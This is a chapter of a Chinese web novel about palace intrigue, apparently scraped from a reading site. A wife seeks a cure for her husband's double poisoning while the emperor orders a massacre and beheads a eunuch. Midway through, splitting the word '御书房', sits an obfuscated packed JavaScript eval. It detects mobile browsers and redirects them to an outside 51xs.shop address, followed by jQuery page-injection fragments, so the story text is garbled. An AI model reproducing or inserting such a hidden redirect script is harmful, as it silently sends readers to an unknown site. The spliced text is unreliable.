梁择似乎睡得很不安稳,额上沁出薄汗,眉心也微微蹙起。
江浸月拿温热的湿帕替他擦拭,覆手上去,只觉一片滚烫。
“我去煮沉佛花叶水。”徐仙姑见状道。
“喂过了,没有用。”一名白须白眉的老者摇头道。
是侯府的医官李茂。他曾是银羽军的随军医官,因年事已高,便跟随梁择回侯府养老。
江浸月自雪里村归来时,经常找他问医,与他颇为熟络。
“茂叔,沉佛花之毒以花叶煮水便可解,为何没用?”江浸月问。
茂叔叹息一声:“少将军所中的,并非沉佛花之毒。”
他从前跟随老侯爷时,惯叫梁择父子为将军和少将军,即便后来封了侯,离了军,也不曾改口。
江浸月语气不自觉有些急躁:“何意?”
“少将军曾于北境对敌之时,中过蓝翎之毒。”茂叔解释道,“当时虽想法子压制了毒性,但未曾完全清除。原本也无甚大碍,只要不激它,便不会有何危险。”
江浸月听到这,哪还能不明白:
“是沉佛花激出了蓝翎的毒性?”
茂叔点点头:“沉佛花性烈,蓝翎性寒,彼此相斥。两者本都是剧毒,如今混在一起,颇有彼此压制之势,这也是为何少将军白日里仍行动自如的原因。只是,一旦毒发,谁都不知该如何解。”
“怎会……对了!”江浸月想起什么,忙道,“上清丹!他服用过半粒上清丹,定有缓解之效。”
她转向伏雨:“他给过我一粒,侯府定还有多的上清丹,快去寻来!”
伏雨闷闷道:“上清丹就是为了压制主子体内的蓝翎毒,才托抚海观炼制的,主子每月都要服用一粒。方才已经喂下去三粒了,一点作用都没有。”
茂叔道:“上清丹只能压制,并不治本。如今他体内的平衡被打破,需同时解两种毒方可救命。”
徐仙姑道:“沉佛花种是我在东宫时,西南行商进献的,我对它所知不多,或许西南之地有关于它的详细记载。至于蓝翎之毒……我从未听过,究竟是何种毒?”
“这倒是巧了。”茂叔道,“蓝翎毒也是来自西南之地。”
江浸月皱眉:“他在北境中毒,为何会来自西南?”
“蓝翎毒来自西南奇鸟蓝翎鸟。此鸟通体碧蓝,翅上有鳞粉,鳞粉剧毒。”茂叔道,“那年银羽军与苍祁军在北境大战,苍祁军陷入颓势,眼看就要兵败,却不知从哪弄来了蓝翎鸟的鳞粉。”
茂叔似是陷入回忆,“他们将鳞粉涂抹在箭矢上,一开始银羽军都没当回事,只觉他们输得连精铁箭都用不起了,净用些变了色的粗糙箭矢。结果当晚,凡是被蓝色箭矢伤到的将士,全都死了。”
江浸月下意识握了握拳:“那梁择……”
“少将军被箭矢射中了脚踝。”茂叔道,“他第一时间便发觉不对,果断割肉放血,祛除了大半毒性,这才勉强保下一命。他吩咐其他将士也这么做,但战场混乱,照做的人不多。”
茂叔长叹一声,“少将军的脚就是这样跛的。后来他不断撕开伤口,其实也是因为需要定期放出毒血。”
江浸月只觉嗓子有些干涩:“那我让他抹伤药,治好伤口,反倒害了他吗。”
茂叔连连摇头:“少夫人无需自责,当时少将军来询问过我,我们一致认为,蓝翎毒许久未发,应是清得差不多了。谁知……唉。”
——因为我想有一个身体康健的夫君啊。
自她说出那句话,梁择便开始每日上药治伤,那只跛脚渐渐恢复了常人的样子。
江浸月总以此邀功,扮演着一个知冷知热的贴心妻子。
可她从没在意过,伤是如何来。
燕语轻轻拉过她的手,江浸月这才发觉,指甲已陷入掌心,留下浅红的痕迹。
她定了定神,问茂叔:“如今之计,当如何解毒?”
茂叔似乎有些踟蹰:“我曾遍寻京中名医,连知晓蓝翎之毒的都甚少,更别提解法。如今这状况,唯有……寻根溯源。”
“茂叔的意思是,去西南寻药?”
“正是。”茂叔面露忧色,“只是路途遥远,不知少将军能撑到几时。”
“吱呀——”
屋门被推开,阑风走了进来。
他如今伤势已大好,梁择有心让他多修养一阵,他却是闲不住,暗卫出任务他总要亲自盯着才安心。
阑风先是看了看床榻上昏睡的梁择,随即看向伏雨。伏雨无奈地摇了摇头。
阑风眸中担忧一闪而过,躬身向江浸月一礼。
“夫人,主子白日里遣我盯着那边的动静,”他指了指皇城方向,“眼下太子正在宫中,禁军却出了宫。”
“去向何处?”江浸月问。
“不知,隐蔽在南偏门外待命。但……”他犹豫了一下,“我感觉,似是要有大动作。”
“泗水园刚发生惨事,禁军想干什么?”江浸月有些疑惑。
不过眼下她也顾不上禁军了,替梁择解毒才是头等要事。
“阑风清点一队暗卫,明日随我下西南寻药。”江浸月朝阑风道。
伏雨一惊:“夫人要独自去西南?万万不可!主子醒来定会杀了我的!”
江浸月冷声:“杀了便杀了。”
伏雨苦着脸不敢说话,心知江浸月还在计较他欺瞒梁择病情一事。
阑风无奈:“夫人好歹等主子醒了再……”
“不必等了。”略微沙哑的声音自床榻传来。
江浸月一愣,倏尔转身奔到榻边,双眸淬出光亮,“你醒了!”
梁择似是有些疲倦,半垂着黑眸看她。
“你来寻我,可是有事?”
江浸月没料到他先问这个,倒也没忘记燕语和徐仙姑的事,简单同梁择说了。
“若太子问起,谨从便当不知我去向。”徐仙姑恳求道。
梁择语气有些冷淡:“太子妃害我夫人差点葬身山洞,但又自泗水园救我夫人一命,恩怨两清。你的孩子自有东宫去寻,镇北侯府此后不会插手。至于太子妃的去向……今夜我不曾见过太子妃,只发卖了一个在泗水园中受伤,无法继续干活的丫鬟。”
燕语与徐仙姑对视一眼,齐齐一礼。
茂叔探完梁择的脉,微不可查地叹了口气。
“少将军脉象仍是时好时坏,体内的两股毒相互制衡,但极其不稳定,身体操劳、情绪不稳都可能会引起毒发的反应。”
江浸月用凉水冰了冰手,然后双手掌心贴上梁择热烫的面颊。
梁择低垂的眼睫轻颤一下:“你做什么?”
“梁择,我明日便去西南。”江浸月道。
“好。”
出乎众人意料,梁择竟干脆地答应了。
“不过不是明日,是今晚,马上。”梁择道,“也不是你一人,我与你同去。”
“不行。”江浸月断然拒绝,一把抽回手,“你如今的身体,如何长途奔波?”
梁择黑眸瞥过她的手,只道:“你可知禁军为何深夜聚集宫门?太子又为何迟迟不出宫?”
“你自己都顾不过来了,还管禁军……”
江浸月突然停下话头。她一双翦水杏眸缓缓睁大,流露出一丝不可置信。
“你、你该不会是觉得……圣上要……”她有些语无伦次,“可是,可是今日我替徐仙姑易容,不是已经证明,是有人假冒太子吗……”
“你觉得,皇家最不容人质疑的是什么?”梁择问。
江浸月茫然,一旁的徐仙姑却是替她答了。
“是正统。”
徐仙姑似也反应了过来,她对燕语道:“我们必须马上走。这屋子里的所有人都走。”
燕语迷糊道:“你们到底在说什么?”
“今日之事,上百双眼睛见证。”徐仙姑道,“嫡长子双生,即便只是风言风语,也可能威胁到皇室正统的存续。此乃根本,天家不能允许这样的漏洞存在。”
江浸月喃喃:“可是,那是上百条人命啊……”
徐仙姑平静的话语中平添一丝悲意:“天家面前,人与草芥,并无不同。”
*
御书
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367737|140917||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
房中,烛火通明。
延帝右边仍站着禁军统领凌召,左边的小太监这阵子却是换了好几个。显然薛理死后,延帝还没找到个称心如意的。
小太监战战兢兢,偷偷拿眼睛瞧了瞧跪在地上的太子。
“父皇,何至于此!”太子垂下头,重重磕在地上。小太监听得心头一颤。
延帝气极反笑:“李恕愚,你自己闯下的祸,如今朕替你收拾残局,你倒是不乐意了!”
太子抬头望向延帝:“从前是儿臣妇人之仁,养虎为患。只是他如今已死,赝师的身份也已坐实,实在没必要对在场之人……”
“砰!”
延帝将手中茶碗重重摔在太子脚边。小太监吓得扑通一声跪倒在地。
“坐实?梁择随便找个人来施展易容之术,便可堵住悠悠众口吗?”延帝冷笑一声,“你这东宫之主的位置坐了这么久,怎么,如今要为了保一个女人而放弃吗?”
太子脸色一白:“儿臣并非为她……只是……”
“莫要再说!”延帝打断,“你那个孩子,找得到便找,找不到便罢。至于你的太子妃,失踪这么久,也该替她补个丧礼了。”
太子双目赤红:“儿臣这辈子就只娶她一人,她若入葬,东宫再无太子妃!”
延帝哈哈大笑:“威胁朕?你要保她,也不是不可以。”
太子一喜:“当真?”
延帝慢条斯理道:“今晚禁军行事,你来指挥。”
太子愣愣看着龙椅上的帝王,面上浮现出挣扎与畏惧,又一点点褪去。
最终,他平静开口:“好。不过,我还要保一个人。”
延帝似是猜到他要说什么,冷哼道:“你可知保下他,后患无穷。”
静静立在一旁的凌召却是突然开口:“太子殿下若说的是梁小侯爷,他可不需要你来保。”
太子皱眉:“凌统领何意?”
凌召冲延帝一礼:“禀圣上,梁择已于半个时辰前,携家眷离京。”
延帝眸中闪过一丝狠戾:“没拦着?”
凌召道:“他是以巡查各地司籍署为由出京,簪花宴时,曾向圣上讨了口谕,拦不得。”
延帝冷笑:“他倒是早做准备。去的哪?”
“不知。”凌召道,“看方向应是西南。”
“西南?”延帝讶然,突然大笑起来,“梁啸那个老狐狸就是躲去西南了吧。”
延帝愉悦的表情中透出一股寒意,“正好,叫他们全家,在西南团聚。”
他看了看仍跪地不动的太子,“你还有何事?”
太子声音有些麻木:“泗水园一案中尚有几人幸存,据他们所说,是新科探花崔真永救下他们。圣上可要封赏?”
延帝不耐地挥了挥手:“此等小事,你看着赏便是。”
说完便要离开,走出几步又停住。
延帝冲一直瑟缩着跪倒在地的小太监招了招手:“你,过来。”
小太监一惊,忙向前膝行几步。
“再过来点。”
小太监继续膝行,直到延帝面前。
小太监感觉延帝似乎挥着手在比划什么,但他实在害怕,低着头不敢乱看。
不过,很快他就知道延帝在干什么了。
“铮!”随着一声剑鸣,凌召的佩剑被延帝一把抽出。
凌厉剑芒划过小太监的脖子,一颗完整的头颅滚落在地。始终不敢抬头的小太监,终于直面圣颜。
延帝将剑还给凌召,他毕竟年纪大了,只这一剑,就叫他有些气喘。
但显然,此时的延帝兴致颇高。他问凌召:“凌统领觉得朕这一剑如何?”
凌召道:“可破万钧。”
延帝大笑着离开了御书房。
凌召看了眼仍跪在地上的太子,好心提醒:“太子殿下,夜过子时,行事可要抓紧了。”
太子不答,却突然问:“凌统领,你替父皇杀过多少人?他们都该死吗?”
凌召将剑上的血水随意一甩,转身离开:
“天子欲斩之人,便是该死之人。”